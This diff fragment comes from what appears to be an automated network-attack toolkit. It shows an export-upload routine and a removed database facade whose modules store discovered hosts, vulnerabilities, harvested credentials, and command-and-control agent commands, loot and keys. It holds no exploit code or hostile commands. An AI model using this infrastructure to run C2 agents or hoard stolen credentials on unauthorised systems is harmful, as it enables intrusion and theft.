"AI upload skipped: ai_server_url not configured",
|
||||
key="ai_upload_no_url",
|
||||
interval_s=600.0,
|
||||
)
|
||||
return False
|
||||
|
||||
backoff_s = max(10, int(self.shared_data.config.get("ai_upload_retry_backoff_s", 120)))
|
||||
max_backoff_s = 3600
|
||||
now_mono = time.monotonic()
|
||||
if now_mono < self._upload_backoff_until:
|
||||
remaining = int(self._upload_backoff_until - now_mono)
|
||||
logger.debug(f"AI upload backoff active ({remaining}s remaining)")
|
||||
logger.info_throttled(
|
||||
"AI upload deferred: backoff active",
|
||||
key="ai_upload_backoff_active",
|
||||
interval_s=180.0,
|
||||
)
|
||||
return False
|
||||
|
||||
try:
|
||||
filepath = Path(filepath)
|
||||
|
||||
if not filepath.exists():
|
||||
logger.warning(f"AI upload skipped: file not found: {filepath}")
|
||||
self._mark_batch_status(str(filepath), "missing", "file not found")
|
||||
return False
|
||||
|
||||
# Get MAC address for unique identification
|
||||
try:
|
||||
from ai_utils import get_system_mac
|
||||
mac = get_system_mac()
|
||||
except ImportError:
|
||||
mac = "unknown"
|
||||
|
||||
logger.debug(f"Uploading {filepath.name} to AI Server ({url}) unique_id={mac}")
|
||||
self._set_server_contact_state(True, None)
|
||||
|
||||
with open(filepath, 'rb') as f:
|
||||
files = {'file': f}
|
||||
# Send MAC as query param
|
||||
# Server expects ?mac_addr=...
|
||||
params = {'mac_addr': mac}
|
||||
|
||||
# Short timeout to avoid blocking
|
||||
response = requests.post(f"{url}/upload", files=files, params=params, timeout=10)
|
||||
|
||||
if response.status_code == 200:
|
||||
self._set_server_contact_state(True, True)
|
||||
self._upload_backoff_until = 0.0
|
||||
self._upload_backoff_current_s = 0.0
|
||||
logger.success(f"Uploaded {filepath.name} successfully")
|
||||
self._mark_batch_status(str(filepath), "transferred", "uploaded")
|
||||
self._safe_delete_uploaded_export(filepath)
|
||||
return True
|
||||
else:
|
||||
self._set_server_contact_state(True, False)
|
||||
next_retry_s = self._apply_upload_backoff(backoff_s, max_backoff_s)
|
||||
logger.debug(
|
||||
f"AI upload HTTP failure for {filepath.name}: status={response.status_code}, "
|
||||
f"next retry in {next_retry_s}s"
|
||||
)
|
||||
logger.info_throttled(
|
||||
f"AI upload deferred (HTTP {response.status_code})",
|
||||
key=f"ai_upload_http_{response.status_code}",
|
||||
interval_s=300.0,
|
||||
)
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
self._set_server_contact_state(True, False)
|
||||
next_retry_s = self._apply_upload_backoff(backoff_s, max_backoff_s)
|
||||
logger.debug(f"AI upload exception for {filepath}: {e} (next retry in {next_retry_s}s)")
|
||||
logger.info_throttled(
|
||||
"AI upload deferred: server unreachable (retry later)",
|
||||
key="ai_upload_exception",
|
||||
interval_s=300.0,
|
||||
)
|
||||
return False
|
||||
|
||||
def cleanup_old_exports(self, days: int = 30):
|
||||
"""Delete export files older than N days"""
|
||||
try:
|
||||
cutoff = datetime.now() - timedelta(days=days)
|
||||
|
||||
old_batches = self.db.query("""
|
||||
SELECT file_path FROM ml_export_batches
|
||||
WHERE created_at < ?
|
||||
""", (cutoff.isoformat(),))
|
||||
|
||||
deleted = 0
|
||||
for batch in old_batches:
|
||||
filepath = Path(batch['file_path'])
|
||||
if filepath.exists():
|
||||
filepath.unlink()
|
||||
deleted += 1
|
||||
|
||||
# Clean up database records
|
||||
self.db.execute("""
|
||||
DELETE FROM ml_export_batches
|
||||
WHERE created_at < ?
|
||||
""", (cutoff.isoformat(),))
|
||||
|
||||
logger.info(f"Cleaned up {deleted} old export files")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Cleanup failed: {e}")
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# END OF FILE
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
@@ -1,628 +0,0 @@
|
||||
"""database.py - Main database facade, delegates to specialized modules in db_utils/."""
|
||||
|
||||
import os
|
||||
from typing import Any, Dict, Iterable, List, Optional, Tuple
|
||||
from contextlib import contextmanager
|
||||
from threading import RLock
|
||||
import sqlite3
|
||||
import logging
|
||||
|
||||
from logger import Logger
|
||||
from db_utils.base import DatabaseBase
|
||||
from db_utils.config import ConfigOps
|
||||
from db_utils.hosts import HostOps
|
||||
from db_utils.actions import ActionOps
|
||||
from db_utils.queue import QueueOps
|
||||
from db_utils.vulnerabilities import VulnerabilityOps
|
||||
from db_utils.software import SoftwareOps
|
||||
from db_utils.credentials import CredentialOps
|
||||
from db_utils.services import ServiceOps
|
||||
from db_utils.scripts import ScriptOps
|
||||
from db_utils.stats import StatsOps
|
||||
from db_utils.backups import BackupOps
|
||||
from db_utils.comments import CommentOps
|
||||
from db_utils.agents import AgentOps
|
||||
from db_utils.studio import StudioOps
|
||||
from db_utils.webenum import WebEnumOps
|
||||
from db_utils.sentinel import SentinelOps
|
||||
from db_utils.bifrost import BifrostOps
|
||||
from db_utils.loki import LokiOps
|
||||
from db_utils.schedules import ScheduleOps
|
||||
from db_utils.packages import PackageOps
|
||||
from db_utils.plugins import PluginOps
|
||||
|
||||
logger = Logger(name="database.py", level=logging.DEBUG)
|
||||
|
||||
_DEFAULT_DB = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data", "bjorn.db")
|
||||
|
||||
|
||||
class BjornDatabase:
|
||||
"""
|
||||
Main database facade that delegates operations to specialized modules.
|
||||
All existing method calls remain unchanged - they're automatically forwarded.
|
||||
"""
|
||||
|
||||
def __init__(self, db_path: Optional[str] = None):
|
||||
self.db_path = db_path or _DEFAULT_DB
|
||||
os.makedirs(os.path.dirname(self.db_path), exist_ok=True)
|
||||
|
||||
# Initialize base connection manager
|
||||
self._base = DatabaseBase(self.db_path)
|
||||
|
||||
# Initialize all operational modules (they share the base connection)
|
||||
self._config = ConfigOps(self._base)
|
||||
self._hosts = HostOps(self._base)
|
||||
self._actions = ActionOps(self._base)
|
||||
self._queue = QueueOps(self._base)
|
||||
self._vulnerabilities = VulnerabilityOps(self._base)
|
||||
self._software = SoftwareOps(self._base)
|
||||
self._credentials = CredentialOps(self._base)
|
||||
self._services = ServiceOps(self._base)
|
||||
self._scripts = ScriptOps(self._base)
|
||||
self._stats = StatsOps(self._base)
|
||||
self._backups = BackupOps(self._base)
|
||||
self._comments = CommentOps(self._base)
|
||||
self._agents = AgentOps(self._base)
|
||||
self._studio = StudioOps(self._base)
|
||||
self._webenum = WebEnumOps(self._base)
|
||||
self._sentinel = SentinelOps(self._base)
|
||||
self._bifrost = BifrostOps(self._base)
|
||||
self._loki = LokiOps(self._base)
|
||||
self._schedules = ScheduleOps(self._base)
|
||||
self._packages = PackageOps(self._base)
|
||||
self._plugins = PluginOps(self._base)
|
||||
|
||||
# Ensure schema is created
|
||||
self.ensure_schema()
|
||||
|
||||
logger.info(f"BjornDatabase initialized: {self.db_path}")
|
||||
|
||||
# =========================================================================
|
||||
# CORE PRIMITIVES - Delegated to base
|
||||
# =========================================================================
|
||||
|
||||
@property
|
||||
def _conn(self):
|
||||
"""Access to underlying connection"""
|
||||
return self._base._conn
|
||||
|
||||
@property
|
||||
def _lock(self):
|
||||
"""Access to thread lock"""
|
||||
return self._base._lock
|
||||
|
||||
@property
|
||||
def _cache_ttl(self):
|
||||
return self._base._cache_ttl
|
||||
|
||||
@property
|
||||
def _stats_cache(self):
|
||||
return self._base._stats_cache
|
||||
|
||||
@_stats_cache.setter
|
||||
def _stats_cache(self, value):
|
||||
self._base._stats_cache = value
|
||||
|
||||
def _cursor(self):
|
||||
return self._base._cursor()
|
||||
|
||||
def transaction(self, immediate: bool = True):
|
||||
return self._base.transaction(immediate)
|
||||
|
||||
def execute(self, sql: str, params: Iterable[Any] = (), many: bool = False) -> int:
|
||||
return self._base.execute(sql, params, many)
|
||||
|
||||
def executemany(self, sql: str, seq_of_params: Iterable[Iterable[Any]]) -> int:
|
||||
return self._base.executemany(sql, seq_of_params)
|
||||
|
||||
def query(self, sql: str, params: Iterable[Any] = ()) -> List[Dict[str, Any]]:
|
||||
return self._base.query(sql, params)
|
||||
|
||||
def query_one(self, sql: str, params: Iterable[Any] = ()) -> Optional[Dict[str, Any]]:
|
||||
return self._base.query_one(sql, params)
|
||||
|
||||
def invalidate_stats_cache(self):
|
||||
return self._base.invalidate_stats_cache()
|
||||
|
||||
# =========================================================================
|
||||
# SCHEMA INITIALIZATION
|
||||
# =========================================================================
|
||||
|
||||
def ensure_schema(self) -> None:
|
||||
"""Create all database tables if missing"""
|
||||
logger.info("Ensuring database schema...")
|
||||
|
||||
# Each module creates its own tables
|
||||
self._config.create_tables()
|
||||
self._actions.create_tables()
|
||||
self._hosts.create_tables()
|
||||
self._services.create_tables()
|
||||
self._queue.create_tables()
|
||||
self._stats.create_tables()
|
||||
self._vulnerabilities.create_tables()
|
||||
self._software.create_tables()
|
||||
self._credentials.create_tables()
|
||||
self._scripts.create_tables()
|
||||
self._backups.create_tables()
|
||||
self._comments.create_tables()
|
||||
self._agents.create_tables()
|
||||
self._studio.create_tables()
|
||||
self._webenum.create_tables()
|
||||
self._sentinel.create_tables()
|
||||
self._bifrost.create_tables()
|
||||
self._loki.create_tables()
|
||||
self._schedules.create_tables()
|
||||
self._packages.create_tables()
|
||||
self._plugins.create_tables()
|
||||
|
||||
# Initialize stats singleton
|
||||
self._stats.ensure_stats_initialized()
|
||||
|
||||
logger.info("Database schema ready")
|
||||
|
||||
# =========================================================================
|
||||
# METHOD DELEGATION - All existing methods forwarded automatically
|
||||
# =========================================================================
|
||||
|
||||
# Config operations
|
||||
def get_config(self) -> Dict[str, Any]:
|
||||
return self._config.get_config()
|
||||
|
||||
def save_config(self, config: Dict[str, Any]) -> None:
|
||||
return self._config.save_config(config)
|
||||
|
||||
# Host operations
|
||||
def get_host_by_mac(self, mac_address: str) -> Optional[Dict[str, Any]]:
|
||||
"""Get a single host by MAC address"""
|
||||
try:
|
||||
results = self.query("SELECT * FROM hosts WHERE mac_address=? LIMIT 1", (mac_address,))
|
||||
return results[0] if results else None
|
||||
except Exception as e:
|
||||
logger.error(f"Error getting host by MAC {mac_address}: {e}")
|
||||
return None
|
||||
|
||||
def get_all_hosts(self) -> List[Dict[str, Any]]:
|
||||
return self._hosts.get_all_hosts()
|
||||
|
||||
def update_host(self, mac_address: str, ips: Optional[str] = None,
|
||||
hostnames: Optional[str] = None, alive: Optional[int] = None,
|
||||
ports: Optional[str] = None, vendor: Optional[str] = None,
|
||||
essid: Optional[str] = None):
|
||||
return self._hosts.update_host(mac_address, ips, hostnames, alive, ports, vendor, essid)
|
||||
|
||||
def merge_ip_stub_into_real(self, ip: str, real_mac: str,
|
||||
hostname: Optional[str] = None, essid_hint: Optional[str] = None):
|
||||
return self._hosts.merge_ip_stub_into_real(ip, real_mac, hostname, essid_hint)
|
||||
|
||||
def update_hostname(self, mac_address: str, new_hostname: str):
|
||||
return self._hosts.update_hostname(mac_address, new_hostname)
|
||||
|
||||
def get_current_hostname(self, mac_address: str) -> Optional[str]:
|
||||
return self._hosts.get_current_hostname(mac_address)
|
||||
|
||||
def record_hostname_seen(self, mac_address: str, hostname: str):
|
||||
return self._hosts.record_hostname_seen(mac_address, hostname)
|
||||
|
||||
def list_hostname_history(self, mac_address: str) -> List[Dict[str, Any]]:
|
||||
return self._hosts.list_hostname_history(mac_address)
|
||||
|
||||
def update_ips_current(self, mac_address: str, current_ips: Iterable[str], cap_prev: int = 200):
|
||||
return self._hosts.update_ips_current(mac_address, current_ips, cap_prev)
|
||||
|
||||
def update_ports_current(self, mac_address: str, current_ports: Iterable[int], cap_prev: int = 500):
|
||||
return self._hosts.update_ports_current(mac_address, current_ports, cap_prev)
|
||||
|
||||
def update_essid_current(self, mac_address: str, new_essid: Optional[str], cap_prev: int = 50):
|
||||
return self._hosts.update_essid_current(mac_address, new_essid, cap_prev)
|
||||
|
||||
# Action operations
|
||||
def sync_actions(self, actions):
|
||||
return self._actions.sync_actions(actions)
|
||||
|
||||
def list_actions(self):
|
||||
return self._actions.list_actions()
|
||||
|
||||
def list_studio_actions(self):
|
||||
return self._actions.list_studio_actions()
|
||||
|
||||
def get_action_by_class(self, b_class: str) -> dict | None:
|
||||
return self._actions.get_action_by_class(b_class)
|
||||
|
||||
def delete_action(self, b_class: str) -> None:
|
||||
return self._actions.delete_action(b_class)
|
||||
|
||||
def upsert_simple_action(self, *, b_class: str, b_module: str, **kw) -> None:
|
||||
return self._actions.upsert_simple_action(b_class=b_class, b_module=b_module, **kw)
|
||||
|
||||
def list_action_cards(self) -> list[dict]:
|
||||
return self._actions.list_action_cards()
|
||||
|
||||
def get_action_definition(self, b_class: str) -> Optional[Dict[str, Any]]:
|
||||
return self._actions.get_action_definition(b_class)
|
||||
|
||||
# Queue operations
|
||||
def get_next_queued_action(self) -> Optional[Dict[str, Any]]:
|
||||
return self._queue.get_next_queued_action()
|
||||
|
||||
def update_queue_status(self, queue_id: int, status: str, error_msg: str = None, result: str = None):
|
||||
return self._queue.update_queue_status(queue_id, status, error_msg, result)
|
||||
|
||||
def promote_due_scheduled_to_pending(self) -> int:
|
||||
return self._queue.promote_due_scheduled_to_pending()
|
||||
|
||||
def ensure_scheduled_occurrence(self, action_name: str, next_run_at: str,
|
||||
mac: Optional[str] = "", ip: Optional[str] = "", **kwargs) -> bool:
|
||||
return self._queue.ensure_scheduled_occurrence(action_name, next_run_at, mac, ip, **kwargs)
|
||||
|
||||
def queue_action(self, action_name: str, mac: str, ip: str, port: int = None,
|
||||
priority: int = 50, trigger: str = None, metadata: Dict = None) -> None:
|
||||
return self._queue.queue_action(action_name, mac, ip, port, priority, trigger, metadata)
|
||||
|
||||
def queue_action_at(self, action_name: str, mac: Optional[str] = "", ip: Optional[str] = "", **kwargs) -> None:
|
||||
return self._queue.queue_action_at(action_name, mac, ip, **kwargs)
|
||||
|
||||
def list_action_queue(self, statuses: Optional[Iterable[str]] = None) -> List[Dict[str, Any]]:
|
||||
return self._queue.list_action_queue(statuses)
|
||||
|
||||
def get_upcoming_actions_summary(self) -> List[Dict[str, Any]]:
|
||||
return self._queue.get_upcoming_actions_summary()
|
||||
|
||||
def supersede_old_attempts(self, action_name: str, mac_address: str,
|
||||
port: Optional[int] = None, ref_ts: Optional[str] = None) -> int:
|
||||
return self._queue.supersede_old_attempts(action_name, mac_address, port, ref_ts)
|
||||
|
||||
def list_attempt_history(self, action_name: str, mac_address: str,
|
||||
port: Optional[int] = None, limit: int = 20) -> List[Dict[str, Any]]:
|
||||
return self._queue.list_attempt_history(action_name, mac_address, port, limit)
|
||||
|
||||
def get_action_status_from_queue(self, action_name: str,
|
||||
mac_address: Optional[str] = None) -> Optional[Dict[str, Any]]:
|
||||
return self._queue.get_action_status_from_queue(action_name, mac_address)
|
||||
|
||||
def get_last_action_status_from_queue(self, mac_address: str, action_name: str) -> Optional[Dict[str, str]]:
|
||||
return self._queue.get_last_action_status_from_queue(mac_address, action_name)
|
||||
|
||||
def get_last_action_statuses_for_mac(self, mac_address: str) -> Dict[str, Dict[str, str]]:
|
||||
return self._queue.get_last_action_statuses_for_mac(mac_address)
|
||||
|
||||
# Circuit breaker operations
|
||||
def record_circuit_breaker_failure(self, action_name: str, mac: str = '',
|
||||
max_failures: int = 5, cooldown_s: int = 300) -> None:
|
||||
return self._queue.record_circuit_breaker_failure(action_name, mac, max_failures, cooldown_s)
|
||||
|
||||
def record_circuit_breaker_success(self, action_name: str, mac: str = '') -> None:
|
||||
return self._queue.record_circuit_breaker_success(action_name, mac)
|
||||
|
||||
def is_circuit_open(self, action_name: str, mac: str = '') -> bool:
|
||||
return self._queue.is_circuit_open(action_name, mac)
|
||||
|
||||
def get_circuit_breaker_status(self, action_name: str, mac: str = '') -> Optional[Dict[str, Any]]:
|
||||
return self._queue.get_circuit_breaker_status(action_name, mac)
|
||||
|
||||
def reset_circuit_breaker(self, action_name: str, mac: str = '') -> None:
|
||||
return self._queue.reset_circuit_breaker(action_name, mac)
|
||||
|
||||
def count_running_actions(self, action_name: Optional[str] = None) -> int:
|
||||
return self._queue.count_running_actions(action_name)
|
||||
|
||||
# Vulnerability operations
|
||||
def add_vulnerability(self, mac_address: str, vuln_id: str, ip: Optional[str] = None,
|
||||
hostname: Optional[str] = None, port: Optional[int] = None):
|
||||
return self._vulnerabilities.add_vulnerability(mac_address, vuln_id, ip, hostname, port)
|
||||
|
||||
def update_vulnerability_status(self, mac_address: str, current_vulns: List[str]):
|
||||
return self._vulnerabilities.update_vulnerability_status(mac_address, current_vulns)
|
||||
|
||||
def update_vulnerability_status_by_port(self, mac_address: str, port: int, current_vulns: List[str]):
|
||||
return self._vulnerabilities.update_vulnerability_status_by_port(mac_address, port, current_vulns)
|
||||
|
||||
def get_all_vulns(self) -> List[Dict[str, Any]]:
|
||||
return self._vulnerabilities.get_all_vulns()
|
||||
|
||||
def save_vulnerabilities(self, mac: str, ip: str, findings: List[Dict]):
|
||||
return self._vulnerabilities.save_vulnerabilities(mac, ip, findings)
|
||||
|
||||
def cleanup_vulnerability_duplicates(self):
|
||||
return self._vulnerabilities.cleanup_vulnerability_duplicates()
|
||||
|
||||
def fix_vulnerability_history_nulls(self):
|
||||
return self._vulnerabilities.fix_vulnerability_history_nulls()
|
||||
|
||||
def count_vulnerabilities_alive(self, distinct: bool = False, active_only: bool = True) -> int:
|
||||
return self._vulnerabilities.count_vulnerabilities_alive(distinct, active_only)
|
||||
|
||||
def count_distinct_vulnerabilities(self, alive_only: bool = False) -> int:
|
||||
return self._vulnerabilities.count_distinct_vulnerabilities(alive_only)
|
||||
|
||||
def get_vulnerabilities_for_alive_hosts(self) -> List[str]:
|
||||
return self._vulnerabilities.get_vulnerabilities_for_alive_hosts()
|
||||
|
||||
def list_vulnerability_history(self, cve_id: str | None = None,
|
||||
mac: str | None = None, limit: int = 500) -> list[dict]:
|
||||
return self._vulnerabilities.list_vulnerability_history(cve_id, mac, limit)
|
||||
|
||||
# CVE metadata
|
||||
def get_cve_meta(self, cve_id: str) -> Optional[Dict[str, Any]]:
|
||||
return self._vulnerabilities.get_cve_meta(cve_id)
|
||||
|
||||
def upsert_cve_meta(self, meta: Dict[str, Any]) -> None:
|
||||
return self._vulnerabilities.upsert_cve_meta(meta)
|
||||
|
||||
def get_cve_meta_bulk(self, cve_ids: List[str]) -> Dict[str, Dict[str, Any]]:
|
||||
return self._vulnerabilities.get_cve_meta_bulk(cve_ids)
|
||||
|
||||
# Software operations
|
||||
def add_detected_software(self, mac_address: str, cpe: str, ip: Optional[str] = None,
|
||||
hostname: Optional[str] = None, port: Optional[int] = None) -> None:
|
||||
return self._software.add_detected_software(mac_address, cpe, ip, hostname, port)
|
||||
|
||||
def update_detected_software_status(self, mac_address: str, current_cpes: List[str]) -> None:
|
||||
return self._software.update_detected_software_status(mac_address, current_cpes)
|
||||
|
||||
def migrate_cpe_from_vulnerabilities(self) -> int:
|
||||
return self._software.migrate_cpe_from_vulnerabilities()
|
||||
|
||||
# Credential operations
|
||||
def insert_cred(self, service: str, mac: Optional[str] = None, ip: Optional[str] = None,
|
||||
hostname: Optional[str] = None, user: Optional[str] = None,
|
||||
password: Optional[str] = None, port: Optional[int] = None,
|
||||
database: Optional[str] = None, extra: Optional[Dict[str, Any]] = None):
|
||||
return self._credentials.insert_cred(service, mac, ip, hostname, user, password, port, database, extra)
|
||||
|
||||
def list_creds_grouped(self) -> List[Dict[str, Any]]:
|
||||
return self._credentials.list_creds_grouped()
|
||||
|
||||
# Service operations
|
||||
def upsert_port_service(self, mac_address: str, ip: Optional[str], port: int, **kwargs):
|
||||
return self._services.upsert_port_service(mac_address, ip, port, **kwargs)
|
||||
|
||||
def get_services_for_host(self, mac_address: str) -> List[Dict]:
|
||||
return self._services.get_services_for_host(mac_address)
|
||||
|
||||
def find_hosts_by_service(self, service: str) -> List[Dict]:
|
||||
return self._services.find_hosts_by_service(service)
|
||||
|
||||
def get_service_for_host_port(self, mac_address: str, port: int, protocol: str = "tcp") -> Optional[Dict]:
|
||||
return self._services.get_service_for_host_port(mac_address, port, protocol)
|
||||
|
||||
def _rebuild_host_ports(self, mac_address: str):
|
||||
return self._services._rebuild_host_ports(mac_address)
|
||||
|
||||
# Script operations
|
||||
def add_script(self, name: str, type_: str, path: str, main_file: Optional[str] = None,
|
||||
category: Optional[str] = None, description: Optional[str] = None):
|
||||
return self._scripts.add_script(name, type_, path, main_file, category, description)
|
||||
|
||||
def list_scripts(self) -> List[Dict[str, Any]]:
|
||||
return self._scripts.list_scripts()
|
||||
|
||||
def delete_script(self, name: str) -> None:
|
||||
return self._scripts.delete_script(name)
|
||||
|
||||
# Schedule operations
|
||||
def add_schedule(self, *a, **kw): return self._schedules.add_schedule(*a, **kw)
|
||||
def update_schedule(self, *a, **kw): return self._schedules.update_schedule(*a, **kw)
|
||||
def delete_schedule(self, *a, **kw): return self._schedules.delete_schedule(*a, **kw)
|
||||
def list_schedules(self, *a, **kw): return self._schedules.list_schedules(*a, **kw)
|
||||
def get_schedule(self, *a, **kw): return self._schedules.get_schedule(*a, **kw)
|
||||
def get_due_schedules(self): return self._schedules.get_due_schedules()
|
||||
def mark_schedule_run(self, *a, **kw): return self._schedules.mark_schedule_run(*a, **kw)
|
||||
def toggle_schedule(self, *a, **kw): return self._schedules.toggle_schedule(*a, **kw)
|
||||
|
||||
# Trigger operations
|
||||
def add_trigger(self, *a, **kw): return self._schedules.add_trigger(*a, **kw)
|
||||
def update_trigger(self, *a, **kw): return self._schedules.update_trigger(*a, **kw)
|
||||
def delete_trigger(self, *a, **kw): return self._schedules.delete_trigger(*a, **kw)
|
||||
def list_triggers(self, *a, **kw): return self._schedules.list_triggers(*a, **kw)
|
||||
def get_trigger(self, *a, **kw): return self._schedules.get_trigger(*a, **kw)
|
||||
def get_active_triggers(self): return self._schedules.get_active_triggers()
|
||||
def mark_trigger_fired(self, *a, **kw): return self._schedules.mark_trigger_fired(*a, **kw)
|
||||
def is_trigger_on_cooldown(self, *a, **kw): return self._schedules.is_trigger_on_cooldown(*a, **kw)
|
||||
|
||||
# Package operations
|
||||
def add_package(self, *a, **kw): return self._packages.add_package(*a, **kw)
|
||||
def remove_package(self, *a, **kw): return self._packages.remove_package(*a, **kw)
|
||||
def list_packages(self): return self._packages.list_packages()
|
||||
def get_package(self, *a, **kw): return self._packages.get_package(*a, **kw)
|
||||
|
||||
# Plugin operations
|
||||
def get_plugin_config(self, *a, **kw): return self._plugins.get_plugin_config(*a, **kw)
|
||||
def save_plugin_config(self, *a, **kw): return self._plugins.save_plugin_config(*a, **kw)
|
||||
def upsert_plugin(self, *a, **kw): return self._plugins.upsert_plugin(*a, **kw)
|
||||
def delete_plugin(self, *a, **kw): return self._plugins.delete_plugin(*a, **kw)
|
||||
def list_plugins_db(self): return self._plugins.list_plugins()
|
||||
def set_plugin_enabled(self, *a, **kw): return self._plugins.set_plugin_enabled(*a, **kw)
|
||||
def set_plugin_hooks(self, *a, **kw): return self._plugins.set_plugin_hooks(*a, **kw)
|
||||
def get_hooks_for_event(self, *a, **kw): return self._plugins.get_hooks_for_event(*a, **kw)
|
||||
def get_hooks_for_plugin(self, *a, **kw): return self._plugins.get_hooks_for_plugin(*a, **kw)
|
||||
|
||||
# Stats operations
|
||||
def get_livestats(self) -> Dict[str, int]:
|
||||
return self._stats.get_livestats()
|
||||
|
||||
def update_livestats(self, total_open_ports: int, alive_hosts_count: int,
|
||||
all_known_hosts_count: int, vulnerabilities_count: int):
|
||||
return self._stats.update_livestats(total_open_ports, alive_hosts_count,
|
||||
all_known_hosts_count, vulnerabilities_count)
|
||||
|
||||
def get_stats(self) -> Dict[str, int]:
|
||||
return self._stats.get_stats()
|
||||
|
||||
def set_stats(self, total_open_ports: int, alive_hosts_count: int,
|
||||
all_known_hosts_count: int, vulnerabilities_count: int):
|
||||
return self._stats.set_stats(total_open_ports, alive_hosts_count,
|
||||
all_known_hosts_count, vulnerabilities_count)
|
||||
|
||||
def get_display_stats(self) -> Dict[str, int]:
|
||||
return self._stats.get_display_stats()
|
||||
|
||||
def ensure_stats_initialized(self):
|
||||
return self._stats.ensure_stats_initialized()
|
||||
|
||||
# Backup operations
|
||||
def add_backup(self, filename: str, description: str, date: str, type_: str = "User Backup",
|
||||
is_default: bool = False, is_restore: bool = False, is_github: bool = False):
|
||||
return self._backups.add_backup(filename, description, date, type_, is_default, is_restore, is_github)
|
||||
|
||||
def list_backups(self) -> List[Dict[str, Any]]:
|
||||
return self._backups.list_backups()
|
||||
|
||||
def delete_backup(self, filename: str) -> None:
|
||||
return self._backups.delete_backup(filename)
|
||||
|
||||
def clear_default_backup(self) -> None:
|
||||
return self._backups.clear_default_backup()
|
||||
|
||||
def set_default_backup(self, filename: str) -> None:
|
||||
return self._backups.set_default_backup(filename)
|
||||
|
||||
# Comment operations
|
||||
def count_comments(self) -> int:
|
||||
return self._comments.count_comments()
|
||||
|
||||
def insert_comments(self, comments: List[Tuple[str, str, str, str, int]]):
|
||||
return self._comments.insert_comments(comments)
|
||||
|
||||
def import_comments_from_json(self, json_path: str, lang: Optional[str] = None,
|
||||
default_theme: str = "general", default_weight: int = 1,
|
||||
clear_existing: bool = False) -> int:
|
||||
return self._comments.import_comments_from_json(json_path, lang, default_theme,
|
||||
default_weight, clear_existing)
|
||||
|
||||
def random_comment_for(self, status: str, lang: str = "en") -> Optional[Dict[str, Any]]:
|
||||
return self._comments.random_comment_for(status, lang)
|
||||
|
||||
# Agent operations (C2)
|
||||
def save_agent(self, agent_data: dict) -> None:
|
||||
return self._agents.save_agent(agent_data)
|
||||
|
||||
def save_command(self, agent_id: str, command: str, response: str | None = None, success: bool = False) -> None:
|
||||
return self._agents.save_command(agent_id, command, response, success)
|
||||
|
||||
def save_telemetry(self, agent_id: str, telemetry: dict) -> None:
|
||||
return self._agents.save_telemetry(agent_id, telemetry)
|
||||
|
||||
def save_loot(self, loot: dict) -> None:
|
||||
return self._agents.save_loot(loot)
|
||||
|
||||
def get_agent_history(self, agent_id: str) -> List[dict]:
|
||||
return self._agents.get_agent_history(agent_id)
|
||||
|
||||
def purge_stale_agents(self, threshold_seconds: int) -> int:
|
||||
return self._agents.purge_stale_agents(threshold_seconds)
|
||||
|
||||
def get_stale_agents(self, threshold_seconds: int) -> list[dict]:
|
||||
return self._agents.get_stale_agents(threshold_seconds)
|
||||
|
||||
# Agent key management
|
||||
def get_active_key(self, agent_id: str) -> str | None:
|
||||
return self._agents.get_active_key(agent_id)
|
||||
|
||||
def list_keys(self, agent_id: str) -> list[dict]:
|
||||
return self._agents.list_keys(agent_id)
|
||||
|
||||
def save_new_key(self, agent_id: str, key_b64: str) -> int:
|
||||
return self._agents.save_new_key(agent_id, key_b64)
|
||||
|
||||
def rotate_key(self, agent_id: str, new_key_b64: str) -> int:
|
||||
return self._agents.rotate_key(agent_id, new_key_b64)
|
||||
|
||||
def revoke_keys(self, agent_id: str) -> int:
|
||||
return self._agents.revoke_keys(agent_id)
|
||||
|
||||
def verify_client_key(self, agent_id: str, key_b64: str) -> bool:
|
||||
return self._agents.verify_client_key(agent_id, key_b64)
|
||||
|
||||
def migrate_keys_from_file(self, json_path: str) -> int:
|
||||
return self._agents.migrate_keys_from_file(json_path)
|
||||
|
||||
# Studio operations
|
||||
def get_studio_actions(self):
|
||||
return self._studio.get_studio_actions()
|
||||
|
||||
def get_db_actions(self):
|
||||
return self._studio.get_db_actions()
|
||||
|
||||
def update_studio_action(self, b_class: str, updates: dict):
|
||||
return self._studio.update_studio_action(b_class, updates)
|
||||
|
||||
def get_studio_edges(self):
|
||||
return self._studio.get_studio_edges()
|
||||
|
||||
def upsert_studio_edge(self, from_action: str, to_action: str, edge_type: str, metadata: dict = None):
|
||||
return self._studio.upsert_studio_edge(from_action, to_action, edge_type, metadata)
|
||||
|
||||
def delete_studio_edge(self, edge_id: int):
|
||||
return self._studio.delete_studio_edge(edge_id)
|
||||
|
||||
def get_studio_hosts(self, include_real: bool = True):
|
||||
return self._studio.get_studio_hosts(include_real)
|
||||
|
||||
def upsert_studio_host(self, mac_address: str, data: dict):
|
||||
return self._studio.upsert_studio_host(mac_address, data)
|
||||
|
||||
def delete_studio_host(self, mac: str):
|
||||
return self._studio.delete_studio_host(mac)
|
||||
|
||||
def save_studio_layout(self, name: str, layout_data: dict, description: str = None):
|
||||
return self._studio.save_studio_layout(name, layout_data, description)
|
||||
|
||||
def load_studio_layout(self, name: str):
|
||||
return self._studio.load_studio_layout(name)
|
||||
|
||||
def apply_studio_to_runtime(self):
|
||||
return self._studio.apply_studio_to_runtime()
|
||||
|
||||
def _replace_actions_studio_with_actions(self, vacuum: bool = False):
|
||||
return self._studio._replace_actions_studio_with_actions(vacuum)
|
||||
|
||||
def _sync_actions_studio_schema_and_rows(self):
|
||||
return self._studio._sync_actions_studio_schema_and_rows()
|
||||
|
||||
# WebEnum operations
|
||||
# Add webenum methods if you have any...
|
||||
|
||||
# =========================================================================
|
||||
# UTILITY OPERATIONS
|
||||
# =========================================================================
|
||||
|
||||
def checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]:
|
||||
"""Force a WAL checkpoint"""
|
||||
return self._base.checkpoint(mode)
|
||||
|
||||
def wal_checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]:
|
||||
"""Alias for checkpoint"""
|
||||
return self.checkpoint(mode)
|
||||
|
||||
def optimize(self) -> None:
|
||||
"""Run PRAGMA optimize"""
|
||||
return self._base.optimize()
|
||||
|
||||
def vacuum(self) -> None:
|
||||
"""Vacuum the database"""
|
||||
return self._base.vacuum()
|
||||
|
||||
def close(self) -> None:
|
||||
"""Close database connection gracefully."""
|
||||
try:
|
||||
with self._lock:
|
||||
if hasattr(self, "_base") and self._base:
|
||||
# DatabaseBase handles the actual connection closure
|
||||
